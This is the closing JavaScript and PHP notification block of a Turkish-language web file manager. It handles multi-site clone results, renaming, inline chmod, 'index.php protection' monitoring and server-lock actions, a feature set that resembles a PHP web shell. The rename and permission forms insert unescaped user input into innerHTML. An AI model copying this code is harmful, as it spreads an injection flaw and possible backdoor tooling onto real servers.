            // Başarılı siteler
            const rows = document.querySelectorAll('.schema-pro-modal tbody tr');
            results += `✅ BAŞARILI (${rows.length} site):\n`;
            rows.forEach(function(row) {
                const siteName = row.querySelector('td:nth-child(1)').textContent.trim();
                const path = row.querySelector('td:nth-child(2)').textContent.trim();
                const fileSize = row.querySelector('td:nth-child(3)').textContent.trim();
                results += `• ${siteName} (${path}) - ${fileSize}\n`;
            });
            
            // Hatalar
            const errorItems = document.querySelectorAll('.schema-pro-modal .alert-danger li');
            if (errorItems.length > 0) {
                results += `\n❌ HATALAR (${errorItems.length}):\n`;
                errorItems.forEach(function(item) {
                    results += `• ${item.textContent.trim()}\n`;
                });
            }
            
            // Kopyala
            navigator.clipboard.writeText(results).then(function() {
                showNotification('Sonuçlar kopyalandı!', 'success');
            }).catch(function() {
                const textArea = document.createElement('textarea');
                textArea.value = results;
                document.body.appendChild(textArea);
                textArea.select();
                document.execCommand('copy');
                document.body.removeChild(textArea);
                showNotification('Sonuçlar kopyalandı!', 'success');
            });
        }

        // Rename (Yeniden Adlandırma) fonksiyonu
        function renameItem(itemPath, currentName, isFolder) {
            const newName = prompt(`${isFolder ? 'Klasör' : 'Dosya'} adını değiştir:`, currentName);
            
            if (newName === null || newName.trim() === '') {
                return; // İptal edildi veya boş isim
            }
            
            if (newName === currentName) {
                showNotification('Aynı isim girdiniz!', 'warning');
                return;
            }
            
            // Güvenlik kontrolü
            if (newName.includes('/') || newName.includes('\\') || newName.includes('..')) {
                showNotification('Geçersiz karakter! /, \\, .. karakterleri kullanılamaz.', 'error');
                return;
            }
            
            // Confirm dialog
            if (!confirm(`"${currentName}" adını "${newName}" olarak değiştirmek istediğinizden emin misiniz?`)) {
                return;
            }
            
            // Form oluştur ve gönder
                const form = document.createElement('form');
                form.method = 'POST';
                form.innerHTML = `
                <input type="hidden" name="action" value="rename_item">
                <input type="hidden" name="old_path" value="${itemPath}">
                <input type="hidden" name="new_name" value="${newName}">
                `;
                document.body.appendChild(form);
                form.submit();
        }

        // Index.php koruma fonksiyonu
        function protectIndex() {
            if (confirm('🔒 Index.php dosyası koruma altına alınacak ve sürekli izlenecek. Devam etmek istiyor musunuz?')) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.innerHTML = `
                    <input type="hidden" name="action" value="protect_index">
                `;
                document.body.appendChild(form);
                form.submit();
            }
            hideToolsMenu();
        }

        // Index.php koruma kapatma fonksiyonu
        function disableIndexProtection() {
            if (confirm('🔓 Index.php koruma sistemi devre dışı bırakılacak. Devam etmek istiyor musunuz?')) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.innerHTML = `
                    <input type="hidden" name="action" value="disable_index_protection">
                `;
                document.body.appendChild(form);
                form.submit();
            }
            hideToolsMenu();
        }

        // Inline izin düzenleme
        function togglePermissionEdit(element, filePath) {
            const currentValue = element.textContent;
            const input = document.createElement('input');
            input.type = 'text';
            input.value = currentValue;
            input.maxLength = 4;
            input.style.width = '50px';
            input.style.padding = '2px 4px';
            input.style.border = '1px solid var(--primary-color)';
            input.style.borderRadius = '3px';
            input.style.fontSize = '12px';
            input.style.textAlign = 'center';
            input.style.backgroundColor = '#fff';
            input.dataset.filePath = filePath;
            input.dataset.originalValue = currentValue;
            
            // Enter tuşu ile kaydet
            input.addEventListener('keypress', function(e) {
                if (e.key === 'Enter') {
                    savePermissionInline(this, filePath, currentValue);
                }
            });
            
            // Escape tuşu ile iptal
            input.addEventListener('keydown', function(e) {
                if (e.key === 'Escape') {
                    cancelPermissionEdit(this, currentValue, filePath);
                }
            });
            
            // Focus kaybolduğunda iptal
            input.addEventListener('blur', function() {
                setTimeout(() => {
                    if (document.activeElement !== this) {
                        cancelPermissionEdit(this, currentValue, filePath);
                    }
                }, 100);
            });
            
            element.replaceWith(input);
            input.focus();
            input.select();
        }

        function savePermission(originalElement, newValue) {
            // Geçerli octal değer kontrolü
            if (!/^[0-7]{3,4}$/.test(newValue)) {
                alert('Geçersiz izin değeri! 3-4 haneli octal sayı olmalı (örn: 755, 0644)');
                location.reload();
                return;
            }

            // Dosya yolunu bul
            const row = originalElement.closest('tr');
            const fileLink = row.querySelector('.filename');
            const fileName = fileLink.textContent.trim();
            
            // Form oluştur ve gönder
            const form = document.createElement('form');
            form.method = 'POST';
            form.innerHTML = `
                <input type="hidden" name="action" value="change_permissions">
                <input type="hidden" name="file" value="${fileLink.href.split('edit=')[1] || fileName}">
                <input type="hidden" name="permissions" value="${newValue}">
            `;
            document.body.appendChild(form);
            form.submit();
        }

        // Inline kaydetme fonksiyonu
        function savePermissionInline(input, filePath, originalValue) {
            const newValue = input.value.trim();
            
            // Değişiklik yoksa iptal
            if (newValue === originalValue) {
                cancelPermissionEdit(input, originalValue, filePath);
                return;
            }
            
            // Geçerlilik kontrolü
            if (!/^[0-7]{3,4}$/.test(newValue)) {
                alert('Geçersiz izin değeri! 3 veya 4 haneli octal değer giriniz (örn: 755, 0644)');
                cancelPermissionEdit(input, originalValue, filePath);
                return;
            }
            
            // Loading göster
            input.style.backgroundColor = '#f0f0f0';
            input.disabled = true;
            
            // AJAX ile kaydet
            const formData = new FormData();
            formData.append('action', 'change_permissions');
            formData.append('file_path', filePath);
            formData.append('permissions', newValue);
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => response.text())
            .then(data => {
                // Başarılı olursa span'a geri dönüştür
                const span = document.createElement('span');
                span.className = 'perm-octal';
                span.textContent = newValue;
                span.style.cursor = 'pointer';
                span.style.color = '#28a745'; // Yeşil renk ile başarıyı göster
                span.onclick = function() {
                    togglePermissionEdit(this, filePath);
                };
                
                input.parentNode.replaceChild(span, input);
                
                // 2 saniye sonra normal renge dön
                setTimeout(() => {
                    span.style.color = '#007bff';
                }, 2000);
                
                // Permission text'i de güncelle
                const permTextSpan = span.parentNode.querySelector('.perm-text');
                if (permTextSpan) {
                    updatePermissionText(permTextSpan, newValue);
                }
            })
            .catch(error => {
                alert('Hata: ' + error);
                cancelPermissionEdit(input, originalValue, filePath);
            });
        }

        function cancelPermissionEdit(input, originalValue, filePath) {
            const span = document.createElement('span');
            span.className = 'perm-octal';
            span.textContent = originalValue;
            span.style.cursor = 'pointer';
            span.style.color = '#007bff';
            span.onclick = function() {
                togglePermissionEdit(this, filePath);
            };
            
            input.parentNode.replaceChild(span, input);
        }

        // Permission text'i güncelle
        function updatePermissionText(textSpan, octalValue) {
            const fullValue = octalValue.length === 3 ? '0' + octalValue : octalValue;
            const owner = parseInt(fullValue.charAt(1));
            const group = parseInt(fullValue.charAt(2));
            const world = parseInt(fullValue.charAt(3));
            
            const textValue = formatPermissionText(owner, group, world);
            textSpan.textContent = textValue;
        }

        // Bildirimleri yönet
        document.addEventListener('DOMContentLoaded', function() {
            <?php if (isset($_GET['show_clone_results']) && isset($_SESSION['clone_results'])): ?>
            showCloneResults(<?= json_encode($_SESSION['clone_results']) ?>);
            <?php unset($_SESSION['clone_results']); endif; ?>
            
            <?php if (isset($_GET['rename_result']) && isset($_SESSION['rename_result'])): ?>
            const renameResult = <?= json_encode($_SESSION['rename_result']) ?>;
            showNotification(renameResult.message, renameResult.success ? 'success' : 'error');
            <?php unset($_SESSION['rename_result']); endif; ?>
            
            <?php if (isset($_GET['file_create_result']) && isset($_SESSION['file_create_result'])): ?>
            const fileCreateResult = <?= json_encode($_SESSION['file_create_result']) ?>;
            showNotification(fileCreateResult.message, fileCreateResult.success ? 'success' : 'error');
            <?php unset($_SESSION['file_create_result']); endif; ?>
            
            <?php if (isset($save_success_msg)): ?>
            showNotification('<?= addslashes($save_success_msg) ?>', 'success');
            <?php endif; ?>
            
            <?php if (isset($save_error)): ?>
            showNotification('<?= addslashes($save_error) ?>', 'error');
            <?php endif; ?>
            
            <?php if (isset($_GET['server_lock_result']) && isset($_SESSION['server_lock_result'])): ?>
            const serverLockResult = <?= json_encode($_SESSION['server_lock_result']) ?>;
            showNotification(serverLockResult.message, serverLockResult.success ? 'success' : 'error');
            <?php unset($_SESSION['server_lock_result']); endif; ?>
            
            <?php if (isset($_GET['index_code_result']) && isset($_SESSION['index_code_result'])): ?>
            const indexCodeResult = <?= json_encode($_SESSION['index_code_result']) ?>;
            showNotification(indexCodeResult.message, indexCodeResult.success ? 'success' : 'error');
            <?php unset($_SESSION['index_code_result']); endif; ?>
            
            <?php if (isset($_GET['folder_create_result']) && isset($_SESSION['folder_create_result'])): ?>
            const folderCreateResult = <?= json_encode($_SESSION['folder_create_result']) ?>;
            showNotification(folderCreateResult.message, folderCreateResult.success ? 'success' : 'error');
            <?php unset($_SESSION['folder_create_result']); endif; ?>
            
            <?php if (isset($_GET['upload_result']) && isset($_SESSION['upload_result'])): ?>
            const uploadResult = <?= json_encode($_SESSION['upload_result']) ?>;
            showNotification(uploadResult.message, uploadResult.success ? 'success' : 'error');
            <?php unset($_SESSION['upload_result']); endif; ?>
            
            <?php if (isset($_GET['delete_result']) && isset($_SESSION['delete_result'])): ?>
            const deleteResult = <?= json_encode($_SESSION['delete_result']) ?>;
            showNotification(deleteResult.message, deleteResult.success ? 'success' : 'error');
            <?php unset($_SESSION['delete_result']); endif; ?>
            
            <?php if (isset($_GET['extract_result']) && isset($_SESSION['extract_result'])): ?>
            const extractResult = <?= json_encode($_SESSION['extract_result']) ?>;
            showNotification(extractResult.message, extractResult.success ? 'success' : 'error');
            <?php unset($_SESSION['extract_result']); endif; ?>
        });
    </script>
</body>
</html>   